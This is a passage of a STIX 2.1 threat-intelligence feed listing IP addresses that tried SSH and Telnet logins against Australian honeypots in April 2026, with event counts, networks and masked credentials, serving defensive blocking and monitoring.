      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 209. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: EC. ASN(s): 14522. Organisation(s): SERVICIOS DE TELECOMUNICACIONES SETEL S.A. XTRIM EC. Usernames observed (masked): r**t, n***o, t**t, 3**********4, ***. Passwords observed (masked): !**********C, 1****3, 2**6, 3***********4, 3**********4.",
      "id": "indicator--38eef496-b7f5-4b53-a950-72f88769edab",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T23:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '201.217.67.183']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T23:15:03.000Z",
      "valid_until": "2026-05-12T23:15:01.000Z"
    },
    {
      "created": "2026-04-10T23:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: HK. ASN(s): 4760. Organisation(s): HKT Limited.",
      "id": "indicator--f24534d7-aff9-4d16-b408-ff44d832192e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T23:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '219.78.118.130']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T23:15:03.000Z",
      "valid_until": "2026-05-12T23:15:01.000Z"
    },
    {
      "created": "2026-04-10T23:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--bcd17f6f-9406-4432-bfd6-bb0f57177ff3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T23:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '42.227.201.205']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T23:15:03.000Z",
      "valid_until": "2026-05-12T23:15:01.000Z"
    },
    {
      "created": "2026-04-10T23:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 362. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RU. ASN(s): 198610. Organisation(s): Beget LLC. Usernames observed (masked): r**t, 3**********4, ***, ***, u**r. Passwords observed (masked): 3***********4, 3**********4, 1***5, 1****6, 1****8.",
      "id": "indicator--8e788e0e-5326-41b5-abdb-143762989508",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T23:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '62.113.98.181']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T23:15:03.000Z",
      "valid_until": "2026-05-12T23:15:01.000Z"
    },
    {
      "created": "2026-04-11T00:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--4f57e1f4-e74e-45f6-8c29-8fa9615d4fb1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-11T00:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '147.185.132.247']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T00:15:03.000Z",
      "valid_until": "2026-05-13T00:15:01.000Z"
    },
    {
      "created": "2026-04-11T00:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 179. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IT. ASN(s): 12876. Organisation(s): Scaleway SAS. Usernames observed (masked): r**t, a***n, c*****r, ***, d****f. Passwords observed (masked): 1****6, a***n, p******d, 1********0, 1******x.",
      "id": "indicator--a97db615-f648-4839-8d28-ba0832aa70fb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-11T00:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '151.115.167.145']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T00:15:03.000Z",
      "valid_until": "2026-05-13T00:15:01.000Z"
    },
    {
      "created": "2026-04-11T00:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--ee864d71-0bba-4ca1-aed6-b2a63ac34527",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-11T00:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.195']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T00:15:03.000Z",
      "valid_until": "2026-05-13T00:15:01.000Z"
    },
    {
      "created": "2026-04-11T00:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 22. Source country: CN. ASN(s): 37963. Organisation(s): Hangzhou Alibaba Advertising Co.,Ltd..",
      "id": "indicator--f629b261-e8d1-4b93-985a-be3e2ea94a14",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-11T00:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '47.93.97.12']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T00:15:03.000Z",
      "valid_until": "2026-05-13T00:15:01.000Z"
    },
    {
      "created": "2026-04-11T00:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 20115. Organisation(s): Charter Communications LLC.",
      "id": "indicator--88cdec28-47f5-4f0d-bdfb-09ecb87ec8d6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-11T00:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '71.90.30.53']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T00:15:03.000Z",
      "valid_until": "2026-05-13T00:15:01.000Z"
    },
    {
      "created": "2026-04-11T00:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--5cc50691-9ebb-4595-9de5-6ec1bb07d5ca",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-11T00:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '91.196.152.237']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T00:15:03.000Z",
      "valid_until": "2026-05-13T00:15:01.000Z"
    },
    {
      "created": "2026-04-11T00:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--4e54e106-c8e9-4480-9e71-d4704daf43c8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-11T00:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '91.231.89.176']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T00:15:03.000Z",
      "valid_until": "2026-05-13T00:15:01.000Z"
    },
    {
      "created": "2026-04-11T00:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: FR. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--c58f841e-a00a-425e-a81b-f6aaa736444b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-11T00:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '91.231.89.225']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T00:15:03.000Z",
      "valid_until": "2026-05-13T00:15:01.000Z"
    },
    {
      "created": "2026-04-11T00:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: FR. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--76092486-8b74-43d7-a2e6-230ef1e3123a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-11T00:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '91.231.89.228']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T00:15:03.000Z",
      "valid_until": "2026-05-13T00:15:01.000Z"
    },
    {
      "created": "2026-04-11T00:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 22. Source country: FR. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--bab1af5b-3f6d-47c3-b053-1e8da4623cc6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-11T00:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '91.231.89.72']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T00:15:03.000Z",
      "valid_until": "2026-05-13T00:15:01.000Z"
    },
    {
      "created": "2026-04-11T00:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 30. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 8359. Organisation(s): MTS PJSC.",
      "id": "indicator--8467c093-1e98-4340-9d9f-1bf471e9ac69",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-11T00:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '94.243.13.33']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T00:15:03.000Z",
      "valid_until": "2026-05-13T00:15:01.000Z"
    },
    {
      "created": "2026-04-11T01:15:02.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IT. ASN(s): 1267. Organisation(s): Wind Tre S.p.A..",
      "id": "indicator--a4858398-2b98-46d3-976a-2f5d1380728b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-11T01:15:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '151.26.110.54']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T01:15:02.000Z",
      "valid_until": "2026-05-13T01:15:01.000Z"
    },
    {
      "created": "2026-04-11T01:15:02.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 46606. Organisation(s): Unified Layer. Usernames observed (masked): k******h. Passwords observed (masked): k**********3.",
      "id": "indicator--3b7f3504-157d-4416-b16b-8447fd8d2b0c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-11T01:15:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '162.240.169.58']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T01:15:02.000Z",
      "valid_until": "2026-05-13T01:15:01.000Z"
    },
    {
      "created": "2026-04-11T01:15:02.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14618. Organisation(s): Amazon.com, Inc..",
      "id": "indicator--ba8bd6f2-e710-4480-ad98-e1861be96adb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-11T01:15:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '34.203.224.37']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T01:15:02.000Z",
      "valid_until": "2026-05-13T01:15:01.000Z"
    },
    {
      "created": "2026-04-11T01:15:02.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: EE. ASN(s): 209693. Organisation(s): Oc Networks Limited. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--2b42baca-c5f8-4717-b652-7525de2f19e6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-11T01:15:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '95.85.245.170']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T01:15:02.000Z",
      "valid_until": "2026-05-13T01:15:01.000Z"
    },
    {
      "created": "2026-04-11T02:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 7018. Organisation(s): AT&T Enterprises, LLC.",
      "id": "indicator--1c9ff779-ff43-4d26-a884-1ffdb7f6047e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-11T02:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '104.9.83.87']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T02:15:03.000Z",
      "valid_until": "2026-05-13T02:15:01.000Z"
    },
    {
      "created": "2026-04-11T02:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 131392. Organisation(s): GMO-Z.com Runsystem Joint Stock Company. Usernames observed (masked): r**t. Passwords observed (masked): K***********5.",
      "id": "indicator--5c302d8f-1ec4-43d9-800a-74b1249d8d52",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-11T02:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '150.95.112.57']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T02:15:03.000Z",
      "valid_until": "2026-05-13T02:15:01.000Z"
    },
    {
      "created": "2026-04-11T02:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: GB. ASN(s): 25369. Organisation(s): Hydra Communications Ltd.",
      "id": "indicator--3682d5c0-3121-44c1-a4d3-2f666d8dd676",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-11T02:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '195.140.214.29']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T02:15:03.000Z",
      "valid_until": "2026-05-13T02:15:01.000Z"
    },
    {
      "created": "2026-04-11T02:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--8fd2f080-f8fd-4edd-98ee-c9c461985206",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-11T02:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '72.255.26.46']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T02:15:03.000Z",
      "valid_until": "2026-05-13T02:15:01.000Z"
    },
    {
      "created": "2026-04-11T03:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 9318. Organisation(s): SK Broadband Co Ltd.",
      "id": "indicator--ca1eb160-40f9-4c93-baee-800094229b51",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-11T03:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '114.206.36.13']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T03:15:04.000Z",
      "valid_until": "2026-05-13T03:15:02.000Z"
    },
    {
      "created": "2026-04-11T03:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 25. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--273ce303-79b6-441a-b9fa-5610e861ecf1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-11T03:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '123.12.25.132']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T03:15:04.000Z",
      "valid_until": "2026-05-13T03:15:02.000Z"
    },
    {
      "created": "2026-04-11T03:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 13. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED.",
      "id": "indicator--c7b2ee07-cbfd-4831-9683-3fc72c2a874f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-11T03:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '152.32.160.252']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T03:15:04.000Z",
      "valid_until": "2026-05-13T03:15:02.000Z"
    },
    {
      "created": "2026-04-11T04:15:17.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 24. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--247053dc-0aa8-415d-ba9d-0914663b8be6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-11T04:15:17.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '139.135.42.155']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T04:15:17.000Z",
      "valid_until": "2026-05-13T04:15:02.000Z"
    },
    {
      "created": "2026-04-11T04:15:17.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 107. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 28573. Organisation(s): Claro NXT Telecomunicacoes Ltda. Usernames observed (masked): **, 3**********4, c****e, ***, f****e. Passwords observed (masked): ***, 1*****c, 3***********4, 3**********4, C*******!.",
      "id": "indicator--58489c7e-baf0-4ff3-b62d-0d29e1fe1f2a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-11T04:15:17.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '187.107.88.97']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T04:15:17.000Z",
      "valid_until": "2026-05-13T04:15:02.000Z"
    },
    {
      "created": "2026-04-11T04:15:17.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: RU. ASN(s): 8334. Organisation(s): LLC SETEL.",
      "id": "indicator--bd6dbd62-c579-4152-9b6c-777537bdd39b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-11T04:15:17.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '46.188.119.26']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T04:15:17.000Z",
      "valid_until": "2026-05-13T04:15:02.000Z"
    },
    {
      "created": "2026-04-11T05:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--97ef66aa-14b2-44b2-8667-983bc502a044",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-11T05:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '139.135.60.188']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T05:15:03.000Z",
      "valid_until": "2026-05-13T05:15:01.000Z"
    },
    {
      "created": "2026-04-11T05:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--25dfed67-e2d7-4bf4-a844-28deaaa5fe98",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-11T05:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '147.185.132.126']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T05:15:03.000Z",
      "valid_until": "2026-05-13T05:15:01.000Z"
    },
    {
      "created": "2026-04-11T05:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 22. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RU. ASN(s): 42610. Organisation(s): Rostelecom. Usernames observed (masked): r**t. Passwords observed (masked): c****s, d****n, u****u.",
      "id": "indicator--a58a24fd-ee60-4576-b7cf-26013ee8a38b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-11T05:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '188.32.210.218']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T05:15:03.000Z",
      "valid_until": "2026-05-13T05:15:01.000Z"
    },
    {
      "created": "2026-04-11T05:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--e643f3d4-2766-4792-a040-dd7bd5492743",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-11T05:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.133']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T05:15:03.000Z",
      "valid_until": "2026-05-13T05:15:01.000Z"
    },
    {
      "created": "2026-04-11T06:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 95. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 139988. Organisation(s): PT. GARUDA PRIMA INTERNETINDO. Usernames observed (masked): u****u, 3**********4, a***********r, ***, ***. Passwords observed (masked): 3***********4, 3**********4, P**********6, a***n, n*****$.",
      "id": "indicator--7dd89a16-02e1-46a8-a76e-a101ed7dcf8a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-11T06:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.148.100.146']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T06:15:03.000Z",
      "valid_until": "2026-05-13T06:15:02.000Z"
    },
    {
      "created": "2026-04-11T06:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 9845. Organisation(s): LG HelloVision Corp..",
      "id": "indicator--2dd13583-b77c-412a-a89e-acea7ac5d00f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-11T06:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '123.248.124.56']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T06:15:03.000Z",
      "valid_until": "2026-05-13T06:15:02.000Z"
    },
    {
      "created": "2026-04-11T06:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--806c40a4-b7b4-428e-8dfe-9d7e71b339ee",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-11T06:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '139.135.43.155']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
